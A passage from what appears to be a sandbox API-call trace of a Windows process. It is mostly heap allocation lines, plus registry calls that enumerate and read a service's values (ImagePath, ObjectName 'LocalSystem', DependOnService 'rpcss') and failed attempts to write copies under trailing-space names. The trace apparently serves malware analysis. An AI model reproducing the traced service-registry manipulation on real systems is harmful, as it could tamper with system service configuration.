returned 1 [0223.854] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f41d8) returned 1 [0223.854] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d268) returned 1 [0223.854] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4220) returned 1 [0223.854] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d4c8) returned 1 [0223.855] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4268) returned 1 [0223.855] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d588) returned 1 [0223.855] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4190) returned 1 [0223.855] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f42b0) returned 1 [0223.855] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c88 [0223.855] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0223.855] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d678 [0223.855] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d588 [0223.855] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f3ec0 [0223.855] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0223.855] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c88) returned 1 [0223.855] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0223.855] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d308) returned 1 [0223.855] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d660) returned 1 [0223.855] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d660 [0223.855] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d308 [0223.855] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0223.855] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f3ec0) returned 1 [0223.855] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d588) returned 1 [0223.855] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d678) returned 1 [0223.855] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c88 [0223.855] RegQueryValueExA (in: hKey=0x14c, lpValueName="ObjectName", lpReserved=0x0, lpType=0x36f454, lpData=0x0, lpcbData=0x36f45c*=0x0 | out: lpType=0x36f454*=0x1, lpData=0x0, lpcbData=0x36f45c*=0xc) returned 0x0 [0223.855] RegQueryValueExA (in: hKey=0x14c, lpValueName="ObjectName", lpReserved=0x0, lpType=0x36f454, lpData=0x21f1c88, lpcbData=0x36f45c*=0xc | out: lpType=0x36f454*=0x1, lpData="LocalSystem", lpcbData=0x36f45c*=0xc) returned 0x0 [0223.855] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0223.855] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d678 [0223.855] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d588 [0223.855] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f3ec0 [0223.855] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0223.855] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c88) returned 1 [0223.855] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0223.855] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d558) returned 1 [0223.855] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0223.855] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d388) returned 1 [0223.856] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0223.856] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d338) returned 1 [0223.856] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0223.856] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d578) returned 1 [0223.856] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0223.856] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d598) returned 1 [0223.856] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0223.856] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d4f8) returned 1 [0223.856] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0223.856] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d328) returned 1 [0223.856] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0223.856] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d258) returned 1 [0223.856] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0223.856] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d408) returned 1 [0223.856] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0223.856] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d3a8) returned 1 [0223.856] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0223.856] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d4d8) returned 1 [0223.856] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0223.856] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d4e8) returned 1 [0223.856] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0223.856] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d398) returned 1 [0223.856] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0223.856] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d3c8) returned 1 [0223.856] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0223.856] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d318) returned 1 [0223.856] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0223.856] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d478) returned 1 [0223.857] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0223.857] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d368) returned 1 [0223.857] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x219de30) returned 1 [0223.857] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d648 [0223.857] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d368 [0223.857] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0223.857] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f3ec0) returned 1 [0223.857] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d588) returned 1 [0223.857] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d678) returned 1 [0223.857] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0223.857] RegSetValueExA (hKey=0x0, lpValueName="ObjectName", Reserved=0x0, dwType=0x1, lpData=0x21f16e8, cbData=0xc) returned 0x6 [0223.857] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0223.857] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0223.857] RegSetValueExA (hKey=0x0, lpValueName="ObjectName ", Reserved=0x0, dwType=0x1, lpData=0x21f16e8, cbData=0x1) returned 0x6 [0223.857] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0223.857] RegEnumValueA (in: hKey=0x14c, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0223.857] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d678 [0223.857] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d588 [0223.857] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0223.857] RegEnumValueA (in: hKey=0x14c, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0223.857] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d478 [0223.857] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0223.857] RegEnumValueA (in: hKey=0x14c, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0223.857] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d318 [0223.857] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0223.857] RegEnumValueA (in: hKey=0x14c, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0223.857] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d3c8 [0223.857] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0223.857] RegEnumValueA (in: hKey=0x14c, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0223.857] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x20) returned 0x252bc08 [0223.858] RegEnumValueA (in: hKey=0x14c, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0223.858] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d4e8 [0223.858] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0223.858] RegEnumValueA (in: hKey=0x14c, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0223.858] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d4d8 [0223.858] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0223.858] RegEnumValueA (in: hKey=0x14c, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0223.858] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d3a8 [0223.858] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0223.858] RegEnumValueA (in: hKey=0x14c, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0223.858] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x30) returned 0x21573f8 [0223.858] RegEnumValueA (in: hKey=0x14c, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0223.858] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d258 [0223.858] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0223.858] RegEnumValueA (in: hKey=0x14c, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0223.858] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d328 [0223.858] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0223.858] RegEnumValueA (in: hKey=0x14c, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0223.858] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d4f8 [0223.858] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0223.858] RegEnumValueA (in: hKey=0x14c, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0223.858] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0223.858] RegEnumValueA (in: hKey=0x14c, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0223.858] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d578 [0223.858] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0223.858] RegEnumValueA (in: hKey=0x14c, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0223.858] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d338 [0223.859] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0223.859] RegEnumValueA (in: hKey=0x14c, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0223.859] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c88 [0223.859] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c88) returned 1 [0223.859] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c88 [0223.859] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c88) returned 1 [0223.859] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c88 [0223.859] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c88) returned 1 [0223.859] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c88 [0223.859] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c88) returned 1 [0223.859] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c88 [0223.859] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c88) returned 1 [0223.859] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c88 [0223.859] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c88) returned 1 [0223.859] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c88 [0223.859] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c88) returned 1 [0223.859] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c88 [0223.859] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c88) returned 1 [0223.859] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c88 [0223.859] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0223.859] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d588) returned 1 [0223.859] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0223.859] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d478) returned 1 [0223.859] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0223.859] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d318) returned 1 [0223.859] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0223.859] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d3c8) returned 1 [0223.859] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0223.859] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d398) returned 1 [0223.859] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0223.859] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d4e8) returned 1 [0223.859] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0223.859] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d4d8) returned 1 [0223.859] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0223.859] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d3a8) returned 1 [0223.859] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0223.860] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d408) returned 1 [0223.860] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0223.860] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d258) returned 1 [0223.860] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0223.860] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d328) returned 1 [0223.860] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0223.860] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d4f8) returned 1 [0223.860] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0223.860] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d598) returned 1 [0223.860] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0223.860] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d578) returned 1 [0223.860] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0223.860] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d338) returned 1 [0223.860] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0223.860] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c88) returned 1 [0223.860] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c88 [0223.860] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0223.860] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d678 [0223.860] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d338 [0223.860] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0223.860] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0223.860] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c88) returned 1 [0223.860] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0223.860] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d308) returned 1 [0223.860] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d660) returned 1 [0223.860] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d660 [0223.860] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d308 [0223.860] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0223.860] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0223.860] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d338) returned 1 [0223.860] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d678) returned 1 [0223.860] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0223.860] RegQueryValueExA (in: hKey=0x14c, lpValueName="DependOnService", lpReserved=0x0, lpType=0x36f454, lpData=0x0, lpcbData=0x36f45c*=0x0 | out: lpType=0x36f454*=0x1, lpData=0x0, lpcbData=0x36f45c*=0x6) returned 0x0 [0223.860] RegQueryValueExA (in: hKey=0x14c, lpValueName="DependOnService", lpReserved=0x0, lpType=0x36f454, lpData=0x21f1a90, lpcbData=0x36f45c*=0x6 | out: lpType=0x36f454*=0x1, lpData="rpcss", lpcbData=0x36f45c*=0x6) returned 0x0 [0223.861] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c88 [0223.861] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d678 [0223.861] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d338 [0223.861] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0223.861] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c88) returned 1 [0223.861] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0223.861] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0223.861] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d368) returned 1 [0223.861] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d648) returned 1 [0223.861] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d648 [0223.861] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d368 [0223.861] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0223.861] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0223.861] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d338) returned 1 [0223.861] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d678) returned 1 [0223.861] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0223.861] RegSetValueExA (hKey=0x0, lpValueName="DependOnService", Reserved=0x0, dwType=0x1, lpData=0x21f1a48, cbData=0x6) returned 0x6 [0223.861] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0223.861] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0223.861] RegSetValueExA (hKey=0x0, lpValueName="DependOnService ", Reserved=0x0, dwType=0x1, lpData=0x21f1a48, cbData=0x1) returned 0x6 [0223.861] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0223.861] RegEnumValueA (in: hKey=0x14c, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0223.861] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d678 [0223.861] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d338 [0223.861] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0223.861] RegEnumValueA (in: hKey=0x14c, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0223.861] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d578 [0223.861] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0223.861] RegEnumValueA (in: hKey=0x14c, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0223.861] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d598 [0223.861] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c88 [0223.861] RegEnumValueA (in: hKey=0x14c, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, 